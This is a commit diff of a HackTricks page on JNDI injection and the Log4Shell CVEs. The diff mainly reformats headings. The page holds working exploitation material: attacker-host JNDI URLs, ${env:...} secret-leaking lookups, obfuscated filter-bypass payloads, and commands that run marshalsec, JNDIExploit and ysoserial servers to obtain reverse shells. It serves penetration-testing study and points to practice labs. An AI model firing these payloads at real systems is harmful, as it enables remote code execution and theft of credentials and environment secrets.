GitBook: [#3212] No subject
This commit is contained in:
CPol
gitbook-bot
parent
092b26c221
commit
aa50890bc8
@ -1,4 +1,4 @@
|
||||
|
||||
# JNDI - Java Naming and Directory Interface & Log4Shell
|
||||
|
||||
<details>
|
||||
|
||||
@ -16,8 +16,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Basic Information
|
||||
## Basic Information
|
||||
|
||||
JNDI has been present in Java since the late 1990s. It is a directory service that **allows a Java program to find data through a directory using a name service**. A name service associates values (bindings), so it can be obtained through its reference in the directory.
|
||||
|
||||
@ -27,7 +26,7 @@ For example, SPIs exist for the **CORBA COS** (Common Object Service), the **Jav
|
||||
|
||||
.png>)
|
||||
|
||||
## JNDI Naming Reference
|
||||
### JNDI Naming Reference
|
||||
|
||||
In order to retrieve Java Objects you could serialize them and save the binary representation. But there are some cases where this won’t work (maybe because the data is too large, or any other thing).\
|
||||
In order to save more easily Java Objects, **Naming References are used**.\
|
||||
@ -52,13 +51,13 @@ URLs example to abuse JNDI:
|
||||
* _ldap://attacker-server/bar_
|
||||
* _iiop://attacker-server/bar_
|
||||
|
||||
## JNDI Example
|
||||
### JNDI Example
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
Even if you have set a **`PROVIDER_URL`**, you can indicate a different one in a lookup and it will be accessed: `ctx.lookup("<attacker-controlled-url>")` and that is what an attacker will abuse to load arbitrary objects from a system controlled by him.
|
||||
|
||||
## CORBA
|
||||
### CORBA
|
||||
|
||||
An **Interoperable Object Reference (IOR)** is a CORBA or RMI-IIOP reference that uniquely idenfies and object on a remote CORBA server. IORs can be in binary format or string hex representation of the binary.\
|
||||
Among other information, it conteins the **Type ID** (a unique identifier for an interface) and the **Codebase** (remote location using to get the stub class).\
|
||||
@ -73,11 +72,11 @@ It requires:
|
||||
|
||||
You might find **policies of vendors allowing this by default**.
|
||||
|
||||
## RMI
|
||||
### RMI
|
||||
|
||||
As indicated in the previous **JNDI Naming Reference Section, RMI by default won’t allow to download arbitrary Java Classes**. And moreover, even if it will, you will need to **bypass the Security Manager policies** (in the previous section we learned that this was possible with CORBA).
|
||||
|
||||
## LDAP
|
||||
### LDAP
|
||||
|
||||
First of all, wee need to distinguish between a Search and a Lookup.\
|
||||
A **search** will use an URL like `ldap://localhost:389/o=JNDITutorial` to find the JNDITutorial object from an LDAP server and **retreive its attributes**.\
|
||||
@ -90,20 +89,20 @@ An **attacker may poison LDAP records introducing payloads** on them that will b
|
||||
|
||||
In case you can **make an app resolve a JNDI LDAP UR**L, you can control the LDAP that will be searched, and you could send back the exploit (log4shell).
|
||||
|
||||
### Deserialization exploit
|
||||
#### Deserialization exploit
|
||||
|
||||
 (1) (1) (1).png>)
|
||||
|
||||
The **exploit is serialized** and will be deserialized.\
|
||||
In case `trustURLCodebase` is `true`, an attacker can provide his own classes in the codebase if not, he will need to abuse gadgets in the classpath.
|
||||
|
||||
### JNDI Reference exploit
|
||||
#### JNDI Reference exploit
|
||||
|
||||
It's easier to attack this LDAP using **JavaFactory references**:
|
||||
|
||||
 (1).png>)
|
||||
|
||||
# Log4Shell Vulnerability
|
||||
## Log4Shell Vulnerability
|
||||
|
||||
The vulnerability is introduced in Log4j because it supports a [**special syntax**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) in the form `${prefix:name}` where `prefix` is one of a number of different [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) where `name` should be evaluated. For example, `${java:version}` is the current running version of Java.
|
||||
|
||||
@ -113,7 +112,7 @@ With a **: present** in the key, as in `${jndi:ldap://example.com/a}` there’s
|
||||
|
||||
Therefore, the only thing needed to get RCE a **vulnerable version of Log4j processing information controlled by the user**. And because this is a library widely used by Java applications to log information (Internet facing applications included) it was very common to have log4j logging for example HTTP headers received like the User-Agent. However, log4j is **not used to log only HTTP information but any input** and data the developer indicated.
|
||||
|
||||
# Log4Shell CVEs
|
||||
## Log4Shell CVEs
|
||||
|
||||
* [**CVE-2021-44228**](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Critical]**: The original 'Log4Shell' vulnerability is an [untrusted deserialization](https://cwe.mitre.org/data/definitions/502.html) flaw. Rated critical in severity, this one scores a 10 on the [CVSS](https://www.first.org/cvss/) scale and **grants remote code execution (RCE) abilities to unauthenticated attackers**, allowing complete system takeover.\
|
||||
\
|
||||
@ -143,9 +142,9 @@ Therefore, the only thing needed to get RCE a **vulnerable version of Log4j proc
|
||||
* **CVE-2021-45105** **\[High]**: **Log4j 2.16.0** was found out to be **vulnerable to a DoS** flaw rated 'High' in severity. Apache has since **released a log4j 2.17.0 version** fixing the CVE. More details on this development are provided in BleepingComputer's [latest report](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).
|
||||
* [**CVE-2021-44832**](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/): This new CVE affects the **version 2.17** of log4j. This vulnerability **requires the attacker to control the configuration file of log4j** as it’s possible to indicate a JDNI URL in a configured JDBCAppender. For information about the **vulnerability and exploitation** [**read this info**](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
|
||||
|
||||
# Log4Shell Exploitation
|
||||
## Log4Shell Exploitation
|
||||
|
||||
## Discovery
|
||||
### Discovery
|
||||
|
||||
This vulnerability is very easy to discover because it will send at least a **DNS request** to the address you indicate in your payload. Therefore, payloads like:
|
||||
|
||||
@ -161,7 +160,7 @@ Note that **even if a DNS request is received that doesn't mean the application
|
||||
Remember that to **exploit version 2.15** you need to add the **localhost check bypass**: ${jndi:ldap://**127.0.0.1#**...}
|
||||
{% endhint %}
|
||||
|
||||
### **Local Discovery**
|
||||
#### **Local Discovery**
|
||||
|
||||
Search for **local vulnerable versions** of the library with:
|
||||
|
||||
@ -169,7 +168,7 @@ Search for **local vulnerable versions** of the library with:
|
||||
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
|
||||
```
|
||||
|
||||
## **Verification**
|
||||
### **Verification**
|
||||
|
||||
Some of the platforms listed before will allow you to insert some variable data that will be logged when it’s requested.\
|
||||
This can be very useful for 2 things:
|
||||
@ -233,7 +232,7 @@ ${sys:user.name}
|
||||
Any other env variable name that could store sensitive information
|
||||
```
|
||||
|
||||
## RCE Information
|
||||
### RCE Information
|
||||
|
||||
{% hint style="info" %}
|
||||
Hosts running on **JDKs versions higher than 6u141, 7u131, 8u121 will be protected against the LDAP class loading** vector **BUT NOT the deserialisation vector**. This is because `com.sun.jndi.ldap.object.trustURLCodebase` is disabled by default, hence JNDI cannot load remote codebase using LDAP. But we must stress deserialisation and variable leaks are still possible.\
|
||||
@ -242,14 +241,14 @@ This means that to **exploit the mentioned versions** you will need to **abuse s
|
||||
For **more information** (_like limitations on RMI and CORBA vectors_) **check the previous JNDI Naming Reference section** or [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
|
||||
{% endhint %}
|
||||
|
||||
## RCE - Marshalsec with custom payload
|
||||
### RCE - Marshalsec with custom payload
|
||||
|
||||
_This trick is entirely taken from the **THM box:**_ [_**https://tryhackme.com/room/solar**_](https://tryhackme.com/room/solar)\_\_
|
||||
|
||||
For this exploit the tool [**marshalsec**](https://github.com/mbechler/marshalsec) (download a [**jar version from here**](https://github.com/RandomRobbieBF/marshalsec-jar)) will be used to create a LDAP referral server to direct connections to our secondary HTTP server were the exploit will be served:
|
||||
|
||||
```bash
|
||||
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http:/<your_ip_http_server>:8000/#Exploit"
|
||||
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
|
||||
```
|
||||
|
||||
We want the victim to load the code that will send us a reverse shell, so you can create a java file called Exploit.java with the following content:
|
||||
@ -278,7 +277,7 @@ ${jndi:ldap://<LDAP_IP>:1389/Exploit}
|
||||
|
||||
_Please, note that if Java is not configured to load remote codebase using LDAP, this custom exploit won’t work. In that case, you need to abuse a trusted class to execute arbitrary code._
|
||||
|
||||
## RCE - **JNDIExploit**
|
||||
### RCE - **JNDIExploit**
|
||||
|
||||
{% hint style="info" %}
|
||||
Note that for some reason the author removed this project from github after the discovery of log4shell. You can find a cached version in [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) but if you want to respect the decision of the author use a different method to exploit this vuln.
|
||||
@ -291,7 +290,7 @@ For this example you can just run this **vulnerable web server to log4shell** in
|
||||
Then, you can download the **JNDIExploit** jar file and execute it with:
|
||||
|
||||
```bash
|
||||
wget wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
|
||||
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
|
||||
unzip JNDIExploit.v1.2.zip
|
||||
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
|
||||
```
|
||||
@ -323,7 +322,7 @@ When sending the attacks you will see some output in the terminal where you exec
|
||||
|
||||
**Remember to check `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` for other exploitation options. Moreover, in case you need it, you can change the port of the LDAP and HTTP servers.**
|
||||
|
||||
## RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>
|
||||
### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>
|
||||
|
||||
In a similar way to the previous exploit, you can try to use [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) to exploit this vulnerability.\
|
||||
You can generate the URLs to send to the victim running:
|
||||
@ -338,7 +337,7 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.
|
||||
|
||||
_This attack using a custom generated java object will work in labs like the **THM solar room**. However, this won’t generally work (as by default Java is not configured to load remote codebase using LDAP) I think because it’s not abusing a trusted class to execute arbitrary code._
|
||||
|
||||
## RCE - ysoserial & JNDI-Exploit-Kit
|
||||
### RCE - ysoserial & JNDI-Exploit-Kit
|
||||
|
||||
This option is really useful to attack **Java versions configured to only trust specified classes and not everyone**. Therefore, **ysoserial** will be used to generate **serializations of trusted classes** that can be used as gadgets to **execute arbitrary code** (_the trusted class abused by ysoserial must be used by the victim java program in order for the exploit to work_).
|
||||
|
||||
@ -359,7 +358,7 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tm
|
||||
|
||||
Now you can easily use a generated JNDI link to exploit the vulnerability and obtain a **reverse shell** just sending to a vulnerable version of log4j: **`${ldap://10.10.14.10:1389/qvrxbu}`**
|
||||
|
||||
## Bypasses
|
||||
### Bypasses
|
||||
|
||||
```java
|
||||
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
|
||||
@ -373,7 +372,7 @@ ${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
|
||||
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
|
||||
```
|
||||
|
||||
## Automatic Scanners
|
||||
### Automatic Scanners
|
||||
|
||||
* [https://github.com/fullhunt/log4j-scan](https://github.com/fullhunt/log4j-scan)
|
||||
* [https://github.com/adilsoybali/Log4j-RCE-Scanner](https://github.com/adilsoybali/Log4j-RCE-Scanner)
|
||||
@ -384,14 +383,14 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
|
||||
* [https://github.com/logpresso/CVE-2021-44228-Scanner](https://github.com/logpresso/CVE-2021-44228-Scanner)
|
||||
* [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - Find local vulnerable libraries
|
||||
|
||||
## Labs to test
|
||||
### Labs to test
|
||||
|
||||
* [**LogForge HTB machine**](https://app.hackthebox.com/tracks/UHC-track)
|
||||
* [**Try Hack Me Solar room**](https://tryhackme.com/room/solar)
|
||||
* [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn)
|
||||
* [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app)
|
||||
|
||||
# References
|
||||
## References
|
||||
|
||||
* [https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/](https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/)
|
||||
* [https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/](https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/)
|
||||
@ -400,7 +399,6 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
|
||||
* [https://www.youtube.com/watch?v=Y8a5nB-vy78](https://www.youtube.com/watch?v=Y8a5nB-vy78)
|
||||
* [https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
@ -416,5 +414,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
||||
Loading…
Reference in New Issue
Block a user